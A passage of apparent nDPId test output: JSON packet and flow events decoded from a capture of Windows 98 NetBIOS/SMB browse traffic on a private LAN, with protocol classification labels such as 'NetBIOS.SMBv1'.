+00508{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409802,"pkt_ts_usec":43003,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgGQAAAIARwLrAqO+BwKjv\/wCJAIkATHuvAAIpEAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAaAAMCo74E="} +00508{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409802,"pkt_ts_usec":43050,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgGgAAAIARv7rAqO+BwKjv\/wCJAIkATA22AAgpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00508{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409802,"pkt_ts_usec":83383,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgGwAAAIARvrrAqO+BwKjv\/wCJAIkATA22AAYpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUNBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":33,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409802,"pkt_ts_usec":223804,"pkt_caplen":180,"pkt_type":166,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAKbw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQNg6gAATURKUjk4AAAAAAAAAAAAAAQAAyBAABUEVaoA"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":33,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":166} +00509{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409802,"pkt_ts_usec":793465,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgHAAAAIARvbrAqO+BwKjv\/wCJAIkATA62AAgoEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00509{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409802,"pkt_ts_usec":793598,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgHQAAAIARvLrAqO+BwKjv\/wCJAIkATHyvAAIoEAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAaAAMCo74E="} +00509{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409802,"pkt_ts_usec":793661,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgHgAAAIARu7rAqO+BwKjv\/wCJAIkATAu6AAQoEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00452{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":42,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1576409798047,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"224.0.0.2","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1576409807597,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00685{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409807,"pkt_ts_usec":597015,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADlJAAAAIARtTXAqO+BwKjv\/wCKAIoA0Qn+EQIADMCo74EAigC7AAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQNg6gAATURKUjk4AAAAAAAAAAAAAAQAAyBAABUEVaoA"} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":42,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1576409807597,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":43,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409811,"pkt_ts_usec":132208,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":43,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":44,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409811,"pkt_ts_usec":517809,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":44,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":45,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409811,"pkt_ts_usec":901809,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":45,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":46,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409812,"pkt_ts_usec":669822,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":46,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":47,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409813,"pkt_ts_usec":829815,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":47,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":48,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409815,"pkt_ts_usec":308846,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":48,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":49,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409817,"pkt_ts_usec":241324,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":49,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":50,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1576409807597,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":50,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409819,"pkt_ts_usec":547009,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":50,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":51,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409822,"pkt_ts_usec":253028,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":51,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":52,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409825,"pkt_ts_usec":334722,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":52,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":53,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409828,"pkt_ts_usec":857801,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":53,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":54,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409832,"pkt_ts_usec":716325,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":54,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":55,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409836,"pkt_ts_usec":953806,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":55,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":77} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":56,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409844,"pkt_ts_usec":797969,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAQAAAAAAAQACo2haC8B0A+lo+\/82xHHoVEVTVDEgICAgICAgICAgAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":56,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":57,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409844,"pkt_ts_usec":798231,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAgAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":57,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":58,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409845,"pkt_ts_usec":301797,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAAAAAAAAAgACo2haC8B0A+lo+\/82xHHoV09SS0dST1VQICAgICAgAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":58,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409845,"pkt_ts_usec":301935,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAQAAAAAAAQAEuP7\/UOih91uNRuQWUOhaVEVTVDEgICAgICAgICAgAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":59,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":60,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409845,"pkt_ts_usec":853803,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAQAAAAAAAQACo2haC8B0A+lo+\/82xHHoVEVTVDEgICAgICAgICAgAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":60,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":61,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409845,"pkt_ts_usec":853922,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAgAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":61,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":62,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409846,"pkt_ts_usec":177854,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":62,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":142} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":63,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1576409851581,"flow_last_seen":0,"flow_tot_l4_data_len":185,"flow_min_l4_data_len":185,"flow_max_l4_data_len":185,"flow_avg_l4_data_len":185,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00653{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409851,"pkt_ts_usec":581302,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADNJQAAAIARtE3AqO+BwKjv\/wCKAIoAuRxGEQIADsCo74EAigCjAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":63,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1576409851581,"flow_last_seen":0,"flow_tot_l4_data_len":185,"flow_min_l4_data_len":185,"flow_max_l4_data_len":185,"flow_avg_l4_data_len":185,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":64,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1576409851581,"flow_last_seen":0,"flow_tot_l4_data_len":185,"flow_min_l4_data_len":185,"flow_max_l4_data_len":185,"flow_avg_l4_data_len":185,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":64,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409856,"pkt_ts_usec":181279,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":64,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":142} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":65,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":28684,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiAAQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":65,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":101} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":66,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409859,"pkt_ts_usec":28855,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vCgADAAAAAwBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":66,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} 